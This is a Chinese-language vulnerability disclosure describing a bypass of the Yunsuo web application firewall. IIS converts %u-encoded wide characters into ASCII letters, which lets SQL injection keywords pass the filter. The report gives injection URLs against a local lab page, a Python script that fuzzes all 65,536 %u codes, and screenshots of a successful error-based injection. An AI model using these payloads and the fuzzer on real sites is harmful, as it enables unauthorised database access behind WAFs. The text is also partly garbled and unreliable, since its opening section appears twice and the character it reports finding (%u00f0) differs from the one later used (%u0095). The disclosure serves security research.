### 简要描述: 一个有意思的通用bypass ### 详细说明: 1:之前自己总结了一个帖子,内容上将waf bypass分了几个层面,其中有一个层面是web服务器层面,记得在内容上提到了iis服务器的一些trick 2:IIS在对%u0011形式的内容的时候,是可以解析的,例如我的url为: ``` http://192.168.15.130/letmetest.asp?t=152522098 and(select top 1 eventname_en from eventshelp)>0 ``` 我将url编码为: ``` http://192.168.15.130/letmetest.asp?t=152522098 and(s%u0065lect top 1 eventname_en from eventshelp)>0 ``` s%u0065lect的形式的时候也会被iis解析为select 3:于是我先在本地搭建了一个云锁的环境,iis版本,本机使用了windows2003的环境, 并且创建了一个有漏洞的页面http://192.168.15.130/letmetest.asp 4:我先用以上方式去访问 %u0065的方式,此时发现云锁此种情况过滤了. 5:此时正题来了, 奇葩的想法是这里应该%uxxxx可以填写65535次个字符,会不会有不同国家的编码select对应解析出来成为ascii的select阿![事后发现是多傻吊的想法] 6:自己写了个代码: ``` import httplib import re url = '192.168.15.130' payload = '/letmetest.asp?t=152522098/**/%u00aand(s%u' for i in range(65536): result = hex(i).replace('0x','') if len(result)<4: c = 4-len(result) b = '0'*c zz = b + hex(i).replace('0x','') else: zz = hex(i).replace('0x','') test = '%slect/**/count(*)/**/from/**/eventshelp)>0' % zz conn =...
### 简要描述: 一个有意思的通用bypass ### 详细说明: 1:之前自己总结了一个帖子,内容上将waf bypass分了几个层面,其中有一个层面是web服务器层面,记得在内容上提到了iis服务器的一些trick 2:IIS在对%u0011形式的内容的时候,是可以解析的,例如我的url为: ``` http://192.168.15.130/letmetest.asp?t=152522098 and(select top 1 eventname_en from eventshelp)>0 ``` 我将url编码为: ``` http://192.168.15.130/letmetest.asp?t=152522098 and(s%u0065lect top 1 eventname_en from eventshelp)>0 ``` s%u0065lect的形式的时候也会被iis解析为select 3:于是我先在本地搭建了一个云锁的环境,iis版本,本机使用了windows2003的环境, 并且创建了一个有漏洞的页面http://192.168.15.130/letmetest.asp 4:我先用以上方式去访问 %u0065的方式,此时发现云锁此种情况过滤了. 5:此时正题来了, 奇葩的想法是这里应该%uxxxx可以填写65535次个字符,会不会有不同国家的编码select对应解析出来成为ascii的select阿![事后发现是多傻吊的想法] 6:自己写了个代码: ``` import httplib import re url = '192.168.15.130' payload = '/letmetest.asp?t=152522098/**/%u00aand(s%u' for i in range(65536): result = hex(i).replace('0x','') if len(result)<4: c = 4-len(result) b = '0'*c zz = b + hex(i).replace('0x','') else: zz = hex(i).replace('0x','') test = '%slect/**/count(*)/**/from/**/eventshelp)>0' % zz conn = httplib.HTTPConnection(url) try: conn.request('GET',payload+test) res = conn.getresponse().read() if re.search('Acunetix',res): print 'test char:char(%s)' % zz except: pass ``` 代码有点搓,大致的想法就是测试select中e的字母能否被%u的其他字符替代。 7:测试结果: [<img src="https://images.seebug.org/upload/201505/20161422300039f3873779ad66d347e998dd2ceb.png" alt="yunsuo.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/20161422300039f3873779ad66d347e998dd2ceb.png) 我擦竟然有一个字符%u00f0被当成e字符了,我输入s%u00f0lect 被iis解析滞后成了select 貌似这样绕过了云锁的防御。 8:我使用%u0065访问,直接被云锁干掉了 [<img src="https://images.seebug.org/upload/201505/20161747913610cc1991ae17201b36655e9f5887.png" alt="yunsuo2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/20161747913610cc1991ae17201b36655e9f5887.png) 9:我使用%u0095访问,直接报错注入,出来内容了 [<img src="https://images.seebug.org/upload/201505/201618261ed8f5985f3533fe88531df439b0402c.png" alt="yunsuo3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/201618261ed8f5985f3533fe88531df439b0402c.png) 注意图片中的and中的a,也被我用同样的方式处理了。 10:擦 难道真的和我说的一样,我还是太天真了,之前吊死的想法往往最后通过查资料都证明自己二了,查阅了一段时间的资料之后搜索到一片文章。 ``` http://blog.sina.com.cn/s/blog_85e506df0102vo9s.html ``` 写的是一篇IIS的新UNICODE漏洞WideChar和MultiByte字符转换问题,貌似是大牛yuange写的,前面竟然写的是2002年。 11: 看了半天,查阅了其他一些资料大致意思应该是我们传入的是widechar,widechar iis可以处理,会被转换。这里转换的时候会出现一个问题。 ``` 多个widechar会有可能转换为同一个字符。 ``` 12:我测试了一下发现有些字符是会出现的,有些就不会出现多个转换成一个的情况,但是对于检测来说,往往只需要一个字符,即可达到绕过规则的目的。 13:这种类型的问题一般都会有通用型,web服务器特性导致的绕过一般影响面是比较广的。 尤其是那种云waf或则硬件waf,而且不仅仅是影响注入,其他的防御也会受到影响。 ### 漏洞证明: 8:我使用%u0065访问,直接被云锁干掉了 [<img src="https://images.seebug.org/upload/201505/20161747913610cc1991ae17201b36655e9f5887.png" alt="yunsuo2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/20161747913610cc1991ae17201b36655e9f5887.png) 9:我使用%u0095访问,直接报错注入,出来内容了 [<img src="https://images.seebug.org/upload/201505/201618261ed8f5985f3533fe88531df439b0402c.png" alt="yunsuo3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/201618261ed8f5985f3533fe88531df439b0402c.png) 注意图片中的and中的a,也被我用同样的方式处理了。